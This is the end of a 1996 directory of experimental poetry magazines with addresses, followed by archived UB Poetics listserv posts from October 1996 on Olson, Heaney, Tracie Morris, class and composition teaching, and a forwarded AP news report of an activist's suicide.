Terrace, Hilton NY 14468 ### HEAVEN BONE, Steven Hirsch, Box 486, Chester NY 10918 ### HOUSE ORGAN, Kenneth Warren, 1250 Belle Avenue, Lakewood OH 44107 ### THE IMPLODING TIE-DIED TOUPEE, 82 Ridge Lake Dr, Columbia SC 4213 ### INDEFINITE SPACE, Marcia Arrieta, Box 40101, Pasadena CA 91114 ### JUXTA, Ken Harris & Jim Leftwich, 977 Seminole Trail, Charlottesville VA 22901, [redacted] ### KIOSK, 306 Clemens Hall, S.U.N.Y, Buffalo NY 14260 ### KOJA, 7314 21st Ave Apt 6E, Brooklyn NY 11204 ### LIGHTNING & ASH, Paul Kremsreiter, 3010 Hennepin Ave S. #289, Minneapolis MN 55408 ### LILLIPUT REVIEW, Don Wentworth, 282 Main St, Pittsburgh PA 15201 ### LINGO, Jonathan Gams, Box 184, West Stockbridge MA 01266 ### THE LITTLE MAGAZINE, English Dept, SUNY at Albany, Albany NY 12222 ### LOGODAEDALUS, LOGO.CRIT, Paul Weidenhoff & W.B. Keckler, Box 14193, Harrisburg PA 17104 ### LOST AND FOUND TIMES, John M. Bennett, 137 Leland Ave, Columbus OH 43214 ### LOWER LIMIT SPEECH, A.L. Nielsen, 3055 30th St Apt #2, Boulder CO 80301 ### LYRIC&, Avery Burns, Box 640531, San Francisco CA 94164 ### MALCONTENT, Box 703, Naversink NJ 07752 ### MASS AVE., Daniel Bourchard, Box 230, Boston MA 02117 ### MEAT EPOCH, Gregory Vincent St Thomasino, 72 Orange St Apt 5B, Brooklyn Hts NY 11201 ### MESECHABE, Dennis Formento, 1539 Crete St, New Orleans LA 70119 ### MIRAGE #4/PERIOD(ICAL), Kevin Killian & Dodie Bellamy, 1020 Minna St, San Francisco CA 94103 ### N D, Box 4144, Austin TX 78765 ### NEW AMERICAN WRITING, Maxine Chernoff & Paul Hoover, 369 Milino, Mill Valley CA 94941 ### NO ROSES REVIEW, Carolyn Coo, 1322 N. Wicker Park, Chicago IL 60622 ### OPEN UNION STOP, 427 SW Madison Suite 136, Corvallis OR 97333 ### OPEN 24 HOURS, Buck Downs, Box 50376, Washington D.C. 20091 ### ORPHEUS GRID, John Noto, Box 420803, San Francisco CA 94142 ### O!!ZONE, Harry Burrus, 1266 Fountain View Dr. Houston TX 77057 ### PAPER RADIO, Box 425, Bremerton WA 98337 ### PARADOX, Box 643, Saranac Lake NY 12983 ### PAVEMENT SAW, David Baratier, 7 James St, Scotia NY 12302 ### PHOEBE, Graham Foust, George Mason U., 4400 University Drive, Fairfax VA 22030 ### PHOTO-STATIC, Lloyd Dunn, Box 8832, Iowa City, IA 52240 ### PICA, 165 N Ashbury Ave, Bollingbrook IL 60440 ### POETIC BRIEFS, Jefferson Hansen & Elizabeth Burns, 2510 Highway 100 South #333, St Louis Park MN 55416 ### POETRY NEW YORK, Box 3184, Church St Station, New York NY 10008 ### PRIMARY WRITING, 2009 Belmont Rd. N.W., Apt 203, Wash D.C. 20009 ### PRIVATE ARTS, Box 10936, Chicago IL, 60610 ### PROLIFERATION, Mary Burger, Jay Schwartz, Chris Vitiello, Box 15954, Durham NC 27704 ### PROSODIA, New College of California, 766 Valencia San Francisco CA 94110 ### RE: REFERENCE PRESS, 154 Doyle Ave, Providence RI 02906 ### RHIZOME, Standard Schaefer, 366 S. Mentor #108, Pasadena CA 91106 ### RIBOT, Paul Vangelisti, Box 65798, Los Angeles CA

90065 ### RIF/T, Loss Glazier, Ken Sherwood, [redacted] ### ROOMS, Jaime Robles, 652 Woodland Ave, San Leandro CA 94577 ### SCORE, Crag Hill, 1015 NW Clifford St, Pullman WA 99163 ### SHATTERED WIG, Rupert Wondolowski, 2407 N. Maryland #1, Baltimore MD 21218 ### SITUATION, Mark Wallace, 10402 Ewell Ave, Kensington MD 20895 ### 6IX, 914 Leisz's Bridge Rd, Reading PA 19119 ### SPLIT CITY, Box 110171, Cleveland OH 44107 ### SPLIT SHIFT, Roger Taus, 2461 Santa Monica Blvd #C-122, Santa Monica CA 90404 ### SPOUT, 28 W Robie, St Paul MN 55107 ### SUBTLE JOURNAL OF RAW COINAGE, G Huth, 875 Central Parkway, Schenectady NY 12309 ### SUGAR MULE, M.L. Weber, 2 N. 24th St, Colorado Srings CO 80904 ### SULFUR, Clayton Eshleman, English Dept, Eastern Michigan U., Ypsilanti MI 48197 ### SUPERFLUX, Hoa Nguyen, 2533-b Folsom St, San Francisco CA 94110 ### SYN/AES/THE/TIC, Alex Cigale, Box 91, Canal St Station, New York NY 10013 ### TALISMAN, Ed Foster, Box 1117, Hoboken NJ 07030 ### TAPROOT REVIEWS, Luigi Bob Drake, Box 585, Lakewood OH 44107 ### TENSETENDONED, M.B. Corbett, Box 155, Preston Park PA 18455 ### TEXTURE, Susan Smith Nash, 3760 Cedar Ridge Drive, Norman OK 73072 ### THAT, Tom Beckett, 1070 Easton Valley Rd, Easton NH 03580 ### THIS IS IMPORTANT, F.A. Nettelbeck, Box 336 Sprague River OR 97639 ### TIGHT, Ann Erickson, Box 1591, Guerneville CA 95446 ### TINFISH, Susan Schultz, 1422A Dominis St, Honolulu HI 96822 ### TO, Seth Frechie & Andrew Mossin, Box 121, Narberth PA 19072 ### TORQUE, Liz Fodaski, 21 East 2nd St #12, N.Y. NY 10013 ### TRANSMOG, Ficus Strangulensis, Route 6 Box 138, Charleston WV 25311 ### UBU WEB VISUAL & CONCRETE POETRY, Kenneth Goldsmith, http:///www.ubweb.com/vp ### UMBRELLA, Judith Hoffberg, Box 3640, Santa Monica CA 90408 ### THE VISION PROJECT, Thomas Taylor, [redacted] ### VOLT, Gillian Conoley, Box 657, Corte Madera CA 94967 ### THE WASHINGTON REVIEW, Joe Ross, Box 50132, Washington D.C. 20091 ### WAY, 131 N. Pearl St, Kent OH 44240 ### WHATEVER, Stephen T. Mounkhall, 14 E 236th St, Bronx NY 10470 ### WITZ, Christopher Reiner, Box 40012, Studio City CA 91614 ### WOODEN HEAD REVIEW, 240 Thompson Ave, East Liverpool OH 43920 ### W'ORCS/ALOUD ALLOWED, Ralph LaCharity, Box 27309, Cincinnati OH 45227 ### THE WORLD, Poetry Project at St Mark's, 10th St & 2nd Ave, NY NY 10003 ### XIB, Tolek, Box 262112, San Diego CA 92126 ### YEFIEF, Ann Racuya-Robbins, Box 8505, Santa Fe NM 87504 ### ZYX, Arnold Skemer, 58-09 205th St, Bayside NY 11364 ### CANADIAN MAGAZINES ### BOO, 1895 Commercial Dr, Box 116, Vancouver, B.C. V5N 4A6 ### BRITISH COLUMBIA MONTHLY, Gerry Gilbert, Box 48884, Station Bent., Vancouver, B. C. V7X 1A8 ### CABARET VERT, Beth Learn, Box 157 Station P, Toronto Ontario M5S 2S7 ### CAPILANO REVIEW, 2055 Purcell Way, North Vancouver, B.C. V7J 3H5 ### COLLECTIF REPARATION DE POESIE, Jean-Claude Gagnon, 359 rue Lavigueur

1, Quebec, Quebec G1R 1B3 ### CRASH, Maggie Helwig, Box 562, Station P, Toronto Ontario M5S 2T1 ### DADABABY, 382 East 4th St, North Vancouver, B.C. V7L 1L2 ### FILLING STATION, Box 22135 Bankers Hall, Calgary AB T2P 4J5 ### HOLE, Louis Cabri, 301, 1333 17th Ave N.W., Calgary AB T2M 0R2 ### INDEX MAGAZINE, 4068 St Laurent, Box 42082, Montreal, Quebec H2W 2T3 ### INDUSTRIAL SABOTAGE, J.W. Curry, 1357 Landsdowne Rd, Toronto, Ontario M6H 3Z9 ### OPEN LETTER, 499 Dufferin Ave, London, Ontario N6B 2A1 ### OVERSION, John Barlow, 1069 Bathurst St (3rd Floor) Toronto Ontario M5R 3G8 ### PUSH MACHINERY, Daniel Bradley, 30 Gloucester St #1005, Toronto, Ontario M4Y 1L6 ### RADDLE MOON, GIANTESS, Susan Clark, 2239 Stephens St, Vancouver B.C. V6K 3W5 ### RAMPIKE, Karl Jirgens, 95 Rivercrest Rd./ Warehouse, Toronto Ontario M6S 4H7 ### STAINED PAPER ARCHIVE, 1792 Byng Road, Windsor, Ontario N8W 3C8 ### TADS, Dept of English, Simon Fraser Univ, Burnaby B.C. V5A 1S6 ### TORQUE, Darren Werschler-Henry, Box 657 Station P, Toronto, Ontario M5S 2Y4 ### WEST COAST LINE, English Dept, Simon Fraser Univ, Burnaby B.C. V5A 1S6 ### MONDO HUNKAMOOGA, Stuart Ross, Box 141, Station F, Toronto, Ontario M4Y 2L4 ### U.K. MAGAZINES ### AND, Bob Cobbing, 89A Petherton Rd, London N5 2QT ### ANGEL EXHAUST, Andrew Duncan, 27 Sturton St, Cambridge CB1 2QG ### CURIOS THING, 71 Lambeth Walk, London SE11 6DX ### EONTA, 27 Alexandra Rd, Wimbledon, London SW19 7IJ ### FIRST OFFENSE, Tim Fletcher, Syringa, The Street, Stodmarsh, Canterbury, Kent CT3 4BA ### FRAGMENTE, Anthony Mellors, 3 Town Green Rd, Orwell, Cambridge ### INTIMACY, Adam McKeown, 4 Bower St, Maidstone, Kent ME16 8SD ### OASIS, Ian Robinson, 12 Stevenage Rd., London SW6 6ES ### OBJECT PERMANENCE, Peter Manson & Robert Purves, Flat 3/2 16 Ancroft St, Glasgow Scotland 7HU G20 ### PAGES, Robert Sheppard, Edge Hill University College, Ormskirk, Lancashire L39 4QP ### PARATAXIS, Drew Milne, School of English Studies, Arts Building, Univ of Sussex, Falmer, Brighton BN1 9NQ ### RADICAL POETICS, 58 Crowshott Ave, Stanmore, Middlesex, HA7 1HT ### RAMRAID EXTRAORDINAIRE, Chris Brooke, 57 Canton Court, Canton, Cardiff ### RWC, Lawrence Upton, 32 Downside Rd, Sutton, Surrey SM2 5HP ### SHEARSMAN, Tony Frazer, c/o Hong Kong & Shanghai Bank, Macau Mgt Office, Box 476, Macau ### STRIDE, Rupert Loydell, 11 Sylvan Rd, Exeter, Devon EX4 6EX### TALUS, Dept of English, King's College, Strand, London WC2R 2LS ### TERRIBLE WORK, Tim Allen, 21 Overton Gardens, Mannamead, Plymouth PL3 5BX ### TONGUE TO BOOT, Miles Champion, 5 Abbots Court, Thackeray St, London W8 5ES ### VERTICAL IMAGES, 62 Langdon Park Rd, London N6 5QG ### WORDS WORTH, Alaric Sumner, BM Box 4515, London WC1N 3XX ### CONTINENTAL EUROPE, AND ELSEWHERE ### ACTION POETIQUE, Henri Deluy, 3 rue Pierre-Guignois, 94200 Ivry-sur-Seine, France ### AMAE, Apdo 47, 28921 Alcoron

(Madrid) Spain ### ARNYEKYOTOK, Szasz Janos, Timdr u 17 fsz 3, H- Budapest III, Hungary ### ART POSTALE, Vittore Baroni, Via C Battista 339, 55049 Viareggio, Italy ### AU/ART UNIDENTIFIED, 1-1-10-301 Koshienguchi, Nishinomiya, Hyogo, 663 Japan ### AXLE, Tony Figallo, Pete Spence, Box 4180 Richmond East, Victoria, Australia ### BACK TO FRONT, John Geraets, Liberal Arts, Aichi-Gakuin Univ, 12 Iwasaki, Araike, Nisshin-shi, Aichi-ken, 470-01, Japan ### BANANA SPLIT, Peter Bangsvej 74, 2000 Frederiksberg, Denmark ### A BRIEF DESCRIPTION OF THE WHOLE WORLD, Alan Loney, 33A Komaru St, Remuera, Auckland, 1005, New Zealand ### BRIO CELL, LINGUA BLANCA, GLOSSOLALIA, J. Lehmus, Stenbocksv. 24, 02860 Esbo, Finland, [redacted] ### CARPETAS EL PARAISO, Jose Luis Campal, Apt N. 6, 33980 Pola de Lavinia, Asturias, Spain ### CELACANTO, Marcelo Casarin, Quisquisacate 125, 5008 Cordoba, Argentina ### COMUNICARTE, Hugo Pontes, Caixa Postal 922, 37701-970 Pocos de Caldas, Brazil ### D'UN MOM ENCA, EL TRAPAS & IMAT, Apdo 9142, 08080 Barcelona, Spain ### DAS FROLICHE WOHNZIMMER, Fritz Widhalm, Fuhrmanngasse 1A/7, 1080 Wien Austria ### DIMENSAO, Guido Brilharinho, Caixa Postal 140, Uberaba 38001, Brazil ### DOC(K)S, Phillipe Castellin, 20 Rue Bonaparte, Ajaccio, France 2000 ### EX-SYMPOSIUM, 8200 Veszprem, Anyos u. 1-3 Hungary ### FULL, Ramon Salvo, Apdo 20033, 08080 Barcelona Spain ### GARATUJA, C. Postal 41, Bento Goncalves/RS 95700 Brazil, GOING DOWN SWINGING, Box 64, Coburg, Victoria 3058, Australia ### GRAFFITI, Horacio Versi, Colonia 815, of. 105, Montevideo, Uruguay ### IF, Jean-Jacques Viton, 12 Place Castellane, 13006 Marseille, France ### IMPRESSUM, Bruno Runzheimer, Nahestr. 8, 45219 Essen, Germany ### INIA KELMA, Nueva, 4, 41770 Montellano Spain ### INTERARTE, Douglas Zunino, Odebrecht 97, 89021 Blumenau, SC, Brazil ### KARTA, Bartek Nowak, Spoldzielcza 3/39, 42-300 Myszkow, Poland ### KERAUNIA, Sergio Fumich, via P. Togliatti, 3-20070 Brembio-Mi, Italy ### JALOUSE PRATIQUE, 80 rue Henon, 69004 Lyon, France ### LEOPOLD BLOOM, Vaci M. u. 52. II. 9., Szombathely, 9700 Hungary ### MACULA, Apdo 34101, 08080, Barcelona Spain ### MAGYAR MUHELY, Minerva u 3/a, H-1118 Budapest, Hungary ### MANDORLA, Roberto Tejada, Apartado postal 5-366, Mexico D.F., Mexico 06500, ### MANI ART, THE SECRET LIFE OF MARCEL DUCHAMP, Pascal Lenoir, 11 Ruelle De Champagne, 60680 Grandfresnoy, France ### MINIATURE OBSCURE, Gerhild Ebel, Cornelia Ahnert, Landrain 143, 06118 Halle/Saale, Germany ### MITO, via G. Bruno 37, 80035 Nola, Italy ### NIOQUES, Jean-Marie Gleize, 4 rue de Cromer, 26400 Crest, France ### NON (+) ULTRA, Matthias Schamp, Grosse-Weischede-Strasse 1, 44803 Bochum, Germany ### OASII, Stephen Ellis, 45/6 Bar Ilan St, Ranana 43701 Israel ### OFFERTA SPECIALE, Carla Bertola, Corso De Nicola 20, 10128 Torino, Italy ### OLHO LATINO, Paulo Cheida Sans, Rua Padre Bernardo da Silva 856, 13030 Campinas, SP, Brazil ### OTIS RUSH, Box 21,

North Adelaide, 5006 South Australia ### PELE MELE, Guy Bleus, Box 43, 3830 Wellen, Belgium ### PINTALO DE VERDE, Antonio Gomez, APDO 186, 06800 Merida, Badajoz, Spain ### PIPS DADA CORPORATION, Claudia Putz, Prinz-Albert Str. 31, 53115 Bonn, Germany ### PLURAL, Paseo de la Reforma 18.1 piso, Deleg. Cuauhtemoc, DF 06600, Mexico ### P.O.BOX (Merz Mail), Pere Sousa, apdo 9326, 08080 Barcelona Spain ### POESIE, Micel Deguy, 8 rue Ferou, 75278 Paris Cedex 06, France ### POESIE EUROPE, Postfach 180429, D-60085, Frankfurt/Main, Germany ### POEZINE, Avelino De Araujo, Rua Serido 486, apt 1106, CEP 59020 Natal RN, Brazil ### POSTYPOGRAPHIKA, http://www.postypographika.com ### PUNHO MAGAZINE, MULTIPAIS, Paulo Bruscky, CP 850 Recife-PE, 50010-000, Brazil ### PRAKALPANA LITERATURE, KOBISENA, P-40 Nandana Park, Calcutta 700034, West Bengal, India ### REVUE PRETEXTE, 11 rue Villedo, 75001 Paris, France ### SCARP, Ron Pretty, Univ of Wollongong, Box 1144, Wollongong, NSW 2500, Australia ### SHISHI, Shoji Yoshizawa, 166 Suginami-ku koenjikita, 3-31-5 Tokyo, Japan ### SIGN'ZINE, Industrias Mikuerpo, Apdo 36.455, 28080 Madrid, Spain ### 69 ANALGESIC, Cesar Figueiredo, Apdo 4134, 4002 Porto Codex, Portugal ### SIVULLINEN, Jouni Vaarakangas, Kaarelantie 86 B 28, 00420 Helsinki, Finland ### SPINNE, Dirk Frohlich, Priessnitzstrasse 19, 01099 Dresden, Germany ### SPORT, Box 11-806, Wellington, New Zealand ### TERAZ MOWIE, Hartmut Andryczuk, Belziger Str. 29, 10823 Berlin, Germany ### TRANSFUSION, Alessandro Ceccotto, C.P. 116, 45011 Adria (RO) Italy ### VISUAL POETRY S.O.S., Alfredo Slang, via Ferro De Cavallo, 10, 31100 Treviso, Italy ### VOLL-ZINE, Rainer Golchert, Soderstrabe 29, 64283 Darmstadt, Germany ### YE, FALTBLATT, Theo Breuer, Neustrasse 2, 53925 Sistig/Eifel, Germany ### XUL, Jorge Perednik, Plaza 1629, (1430) Buenos Aires, Argentina ### ZAZIE, Box 521 Market St, Melbourne, Victoria, 8007 Australia ### ZOOM-ZOUM, Josee Lapeyrere, 4 rue des Carmes, 75005 Paris, France ### The preceding list is based on the research and judgments of Spencer Selby. The term "experimental" is not meant as a characterization of anyone's specific editorial focus or perspective. Please circulate, and mail possible additions, deletions, address changes or other comments to Spencer Selby, P.O. Box 590095, San Francisco CA 94159, U.S.A. email: [redacted] fax: [redacted] This is list #36, dated 10/96 ###

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492. **henry g**
Re: olson & oratory
Thu 24 Oct 1996

On Wed, 23 Oct 1996 21:51:35 -0400 Louis Cabri said:
>"[I]n all parts of language...a certain agreeableness and grace are

>attendant on utility...for the stoppage of the breath, and the confined
>play of the lungs, introduced periods and the pointing of words...The
>largest compass of a period...is that which can be rounded forth in one
>breath."
>
>Cicero, "On the Character of the Orator."

Reminds me that Von Hallberg in his Olson book talks about how the 1st part of Maximus is structured like a classical oration (Maximus was a sophist).

But "periods" are not just physical, they are also imaginary. The trumpet player solos across periods. The rhythm of the language is translated by the listener's (different) breathing. - Henry G.

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493. **Bill Luoma**
Re: olson & oratory
Thu 24 Oct 1996

Louis,
Thnks for the breath breath, my circumlocutions
of which are weak, but i remember David Antin always talking
about demosthenes putting rocks in his mouth
when he practiced his speeches.
Bill

Date: Wed, 23 Oct 1996 21:51:35 -0400
From: Louis Cabri <[redacted]>
Subject: olson & oratory

"[I]n all parts of language...a certain agreeableness and grace are attendant on utility...for the stoppage of the breath, and the confined play of the lungs, introduced periods and the pointing of words...The largest compass of a period...is that which can be rounded forth in one breath."

Cicero, "On the Character of the Orator."

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494. **Douglas Barbour**
Re: that poem by Seamus Heaney, for Wendy Battin
Thu 24 Oct 1996

Way back when:
>Date: Thu, 10 Oct 1996 11:13:08 -0400

>From: Wendy Battin <[redacted]>
>Subject: Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996

Wendy Battin asked:
>Do you happen to know which poem? (Sure there are many, but am
>curious to know which she chose.)

I finally got the news today: the poem was "Whatever you say say nothing", which she had in Heaney's _New Selected Poems 1965 - 1987_, a book I dont have. I do have this memory of having come across it somewhere, but...

On a related matter was rereading Gilbert Sorrentino's wonderfully outraged review of _The Distances_ in his _Something Said_ to pass this early response on to my class: all that anger, righteously & rightfully, against what he calls the 'shameful' neglect of Olson by 'the cultural idiots of our time.' Plus ca change?

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

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495. **Jordan Davis**
to get back to Tracie Morris
Thu 24 Oct 1996

Maria, I have to admit that I've only seen Tracie Morris read about 1.5 times and 33% of that time was on Bob Holman's tv show. Could you give a little background on her, a poem maybe? (I know you're busy, a bibliographical citation would be fine) J

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496. **Julie Marie Schmid**
Re: to get back to Tracie Morris
Thu 24 Oct 1996

Like Jordan, I would like to hear more about Tracie Morris's work. She's an amazing poet and I love her work. I've been trying to get a copy of her book--even talked to her on the phone about it--but to no avail.

Julie Schmid

On Thu, 24 Oct 1996, Jordan Davis wrote:

> *Maria, I have to admit that I've only seen Tracie Morris read about 1.5 times and 33% of that time was on Bob Holman's tv show. Could you give a little background on her, a poem maybe? (I know you're busy, a bibliographical citation would be fine)*
> *J*

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497. **maria damon**
Re: to get back to Tracie Morris
Thu 24 Oct 1996

In message <v01530500ae9526b6d757@[166.84.199.56]> UB Poetics discussion group
writes:
> Maria, I have to admit that I've only seen Tracie Morris read about 1.5
> times and 33% of that time was on Bob Holman's tv show. Could you give a
> little background on her, a poem maybe? (I know you're busy, a
> bibliographical citation would be fine)

her book is self-published, it's called Chap-t-her Won. she's an amazing performer--imitates hiphop technology's distortion of sound via scratching, slowing down and speeding up the voice, etc.; and strong on the page too. influenced by carmen mcrae and active in the black rock coalition. maybe later i'll type in a sample poem, but yu gotta see her live. md ps thanks for asking

↑ Index

498. **maria damon**
Re: to get back to Tracie Morris
Thu 24 Oct 1996

---

perhaps enough of us cd prevail on her or on our publisher friends to re-issue chap-t-her won? i don't know much about her beyond having seen her consummate artistry a few times --maybe bob holman cd help us out here. bob?--md

In message <[redacted]> UB
Poetics discussion group writes:
> Like Jordan, I would like to hear more about Tracie Morris's work.
> She's an amazing poet and I love her work. I've
> been trying to get a copy of her book--even talked to her on the phone
> about it--but to no avail.
>
> Julie Schmid
>
> On Thu, 24 Oct 1996, Jordan Davis wrote:
>
> > Maria, I have to admit that I've only seen Tracie Morris read about 1.5
> > times and 33% of that time was on Bob Holman's tv show. Could you give a
> > little background on her, a poem maybe? (I know you're busy, a
> > bibliographical citation would be fine)
> > J
> >

↑ Index

499. **David Kellogg**
Whatever you say say nothing
Thu 24 Oct 1996

Speaking of that poem (in which Heaney, anticipating his own later celebrity, rhymes "Seamus" with "Famous"), there was an interesting booklet on Heaney published in 1991 in Ireland, by Desmond Fennell, called WHATEVER YOU SAY, SAY NOTHING: WHY SEAMUS HEANEY IS NO. 1. The book is as brutal as the title. This is as far as I know the most severe attack on Heaney's stature ever to be published in Ireland. Fennell's attack -- which basically accused Heaney of careerism and political irresponsibility -- generated a whole series of agonized letters in the IRISH TIMES defending Heaney. The book is problematic, but I think often on-target. Goes on at length about the role of the U.S. in making of poetic reputations, and what Fennell calls "the gratuitous advantage of being a foreign poet" in the US.

Cheers,
David
~~~
~~~

There is no mantle
and it does not descend.
-- Thomas Kinsella

↑ Index

500. **Joe Amato**
Re: michael moore -Reply
Thu 24 Oct 1996

---

thanx to joel felix for that on-the-spot evaluation of moore's flick, which i found on-the-mark...

on a related note: there are a number of anthologies (incl. two recent ones reviewed in this month's _college english_) that deal with working-class academics, and the sorts of conflicts that arise from this conjuncture (incl. in particular language issues).. seems to me that this sort of discourse is something we need more of, to try to grapple with our (class-based) sense of propriety, fairness and such like... interestingly, there's another piece in the same issue of _college english_ dealing with the teaching of composition as a distinctively middle-class pursuit, an idea that resonates well with dodie's ruminations on same in these spaces...

best,

joe

↑ Index

501. **Steve Shoemaker**
Re: Kathy Change
Thu 24 Oct 1996

"The perfect type of the man of action is the suicide."

--WCW, "The Descent of Winter"

On Wed, 23 Oct 1996, Pritchett,Pat @Silverplume wrote:

> *I'm sorry, but I don't see the point of Ms. Change's actions, whom I've never heard of before. The implosive act of suicide has always struck me as the ultimate form of narcissism. Thank god, Gandhi, MLK, et al. never took such an attitude. An "alarm against Armageddon?" More like another advertisement.*
>
> *Patrick Pritchett*
> ----------
> *From: Louis Cabri*
> *To: Multiple recipients of list POETICS*

Subject: Kathy Change
Date: Wednesday, October 23, 1996 2:04PM

According to Hayley Thomas:
From root Wed Oct 23 18:38:25 1996
From: [redacted] (Hayley Thomas)
Posted-Date: Wed, 23 Oct 1996 14:38:17 -0400 (EDT)
Message-Id: <[redacted]>
Subject: Kathy Change
To: [redacted]
Date: Wed, 23 Oct 1996 14:38:16 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL23-upenn3.1]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: [redacted]
Precedence: bulk

Dear Folks,

Here's the Associated Press's take on Kathy Change's life and death, as fowarded from the folklore listserv.

Hayley Thomas

PM-Penn Suicide,0315
Activist at Penn Campus Sets Self On Fire, Dies
PHILADELPHIA (AP) - An activist whose protests for world peace were a fixture at the University of Pennsylvania committed suicide on campus by setting herself on fire in a final attempt to draw supporters to her cause.
Kathy Change, 46, doused herself with gasoline Tuesday morning and ignited it, sending flames 10 feet high as about 50 people watched at the Ivy League school, authorities said.
A university police officer, rushing to check out the fire, threw his jacket over Change and rolled her on the ground to smother the flames. She was pronounced dead at a hospital 25 minutes later.
Police said they found suicide notes in a push cart about 15 feet from where Change killed herself.
Change had delivered packages of her writings to six students and two local residents about 2+ hours before killing herself, the campus newspaper, The Daily Pennsylvanian, reported.
"My real intention is to spark a discussion of how we can peacefully transform our world," Change wrote in a three-page

> *statement dated Oct. 7 that was included in the package, the newspaper reported. "I offer myself as an alarm against Armageddon and a torch for liberty."*
>
> *Change, who changed her name from Chang to reflect her commitment to political reform, had frequently danced and displayed flags on the Penn campus over the past 15 years to promote her belief that America and the world must be transformed into truly democratic societies.*
>
> *In one of her writings, Change wrote that she hoped her suicide would help to promote her ideas on government, the economy, law and morality.*
>
> *"I want to give my message as much impact as possible," she wrote. "I truly believe that my death will make people more sympathetic towards me and interested in my work and ideas."*
>
> *(Copyright 1996 by The Associated Press. All Rights Reserved.)*
>
> *AP-NY-10-23-96 0542EDT*
>
> ==========
> ==========
> *Steve Winick*
> *Folklorist/Journalist/Educator*
>
> *400 s. 45th st. #A3*
> *Philadelphia, PA 19104*
> [redacted]
> *http://www.sas.upenn.edu/~swinick*
>
> *"The rank is but the Guinea stamp*
> *The man's the gowd for a' that."*
> ==========
> ==========

Steve Shoemaker

↑ Index

502. Michael Coffey
Whatever you say say nothing -Reply
Thu 24 Oct 1996

david kellog wrote:

there was an interesting booklet on Heaney published in 1991 in Ireland, about a book "by Desmond Fennell, called WHATEVER YOU SAY, SAY NOTHING: WHY SEAMUS HEANEY IS NO. 1. The book is as brutal as the title. This is as far as I know the most severe attack on Heaney's stature ever to be published in Ireland. Fennell's attack -- which basically accused Heaney of careerism and political irresponsibility -- generated a whole series of agonized letters in the IRISH TIMES defending Heaney. The book is problematic, but I think often on-target. Goes on at length about the role of the U.S. in making of poetic reputations, and what Fennell calls "the gratuitous advantage of being a foreign poet" in the US."

david, i have not read fennell's book, so i cannot take issue with that. But i do feel compelled to ask what charges of "careerism and political irreponsibility" have to do with an assessment of a poet's work.

if seamus weren't famous, what would a charge of "careerism" mean? and what does "political irresponsibility" mean if some folks think heaney has consistently been addressing the political divisions in ireland? well, it could mean that politics are partisan and subjective and that irresponsibility is a charge brought by someone who doesn't agree with another's politics. Heaney: irreponsible? What is a poet supposed to be responsible to, but himself. Perhaps he can only be judged by the standards he has set for himself.

Suppose Heaney were not careerist, simply worked say for the BBC editing news footage in Belfast (lilke paul muldoon did for 10 years till, presumably, his "gratuitious" status as foreign poet got him a job at Princeton...look out now paul!), and was politically responsible in his work (oh, let's say he said goodbye to English like Michael Hartnett and wrote only in Irish, or wrote poems listing the war dead or made an impassioned plea in verse to Gerry Adams to have assasinated the violent faction of his IRA), would that make him a better poet?

Suppose he did not have such a good ear and an eye for the imagery rooted in the soil he writes about, and one could prove that careerism and political irresponsibility were the causes, now then you'd have an argument.

I do think that It is interesting and relevant to look at poetry as a possible language site where political and historical issues work themselves out (other issues work themselves out there too, like notions of self); but I would argue that poetry as a political act, as in a public act, is not possible today. Poetry has

been disarmed, and to judge poets on this basis (and the careerism is also a political charge, really) is wrong-headed.

Of course there are plenty of examples of poets who have made different career choices that didn't bring them to oxford or harvard or a nobel or even a teaching job, and some of these were no doubt consciouis choices. And examples there are too of poets who have made a difference in individual's lives by impacting they way they thought about politics. But that is such a small part of the impact of poetry that I hate to see those criteria bandied forth with such immense weight, when really the most enduring and interestingn poets are those who are writing because they are enthusiasts of the word and the poetic forms, the politics being incidental.

And those poets who are there primarily because they have chosen poetry as a place to make political arguments, well, it shows.

by the way, david: of the heany i have read, i'd say he is most uninteresting when trying to be political, such as him poem about going through the checkpoint and how that is what writing is for him; or when he compared his father's plougshare with his pencil; and the bog poems, finding his ireland in Scandinavian soil.

better heaney describing water gouting from a well pump or the sound of a woman singing in a stone kitchen.

↑ Index

503. **Kevin Killian**

Re: michael moore -Reply

Thu 24 Oct 1996

At 11:18 AM 10/24/96 -0500, Joe Amato wrote:

> *on a related note: there are a number of anthologies (incl. two recent ones reviewed in this month's _college english_) that deal with working-class academics, and the sorts of conflicts that arise from this conjuncture (incl. in particular language issues)..*

This is Dodie. I got my degree in ESL (which I've never taught) from Indiana University in Bloomington, where the program, in the mid-70s at least, was called Urban and Overseas English. It was a horribly boring program to my early twenties self. But, eventually I became captivated by the Urban wing, which involved studying Black English, a bit of a joke in whitest of white Southern Indiana. The class was taught by a white woman who was rather absent, it was said, because she was going through a divorce, and we would listen to tapess by Dick Gregory and appreciate them together, and then we would study the syntax of Black English and appreciate that together, and then we would

study Black slang and appreciate that together. The one black woman in the class' speech patterns were coveted like jewels. For electives we took Black fiction and Black poetry. I took a rather sad course in the history of Black education in America. We were told that there was no such thing as standard English, that we should appreciate the richness of all dialects. And then we were informed, that, let's face facts, if people are allowed to speak in this rich dialect of Black English they weren't going to get anywhere in the world, that we had to help enable them by attempting to teach them standardized pronunciation and usage. It was an ugly job, but somebody had to do it.

I, of course, being young and idealistic, was appalled, felt like this proposed occupation was evil like strip-mining. I think Iam still appalled.

Dodie

↑ Index

504. **Chris Funkhouser**
Re: to get back to Tracie Morris
Thu 24 Oct 1996

Jordan,
Tracie's got a poem in the US of Poetry video (& book)
& 3 poems in ALOUND the Nuyo anthology. She is a great
performer with a quick tongue

↑ Index

505. **maria damon**
Re: michael moore -Reply
Thu 24 Oct 1996

---

joe rites:
..the teaching of composition as a distinctively middle-class pursuit, ...

i havent read the article but it seems to me that the teaching of composition is a distinctively desperate pursuit since comp is among the few areas with an expanding job horizon...now, why this is so is another matter. sorry to those of you who aren't teachers...md

↑ Index

506. Christina Fairbank Chirot
Art on the Edge of Fashion
Thu 24 Oct 1996

Pour les amateurs de M. Nick Cave/For Nick Cave fans:
(though for great lyrics & vocalisings & coverart i wd. direct yr. attention to the Born Bad and Desperate Rock and Roll series . . .dbc)

'Art on the Edge of Fashion' at the
Arizona State University Art Museum
focuses on contemporary art that uses
the highly readable visual language
of clothing and fashion.

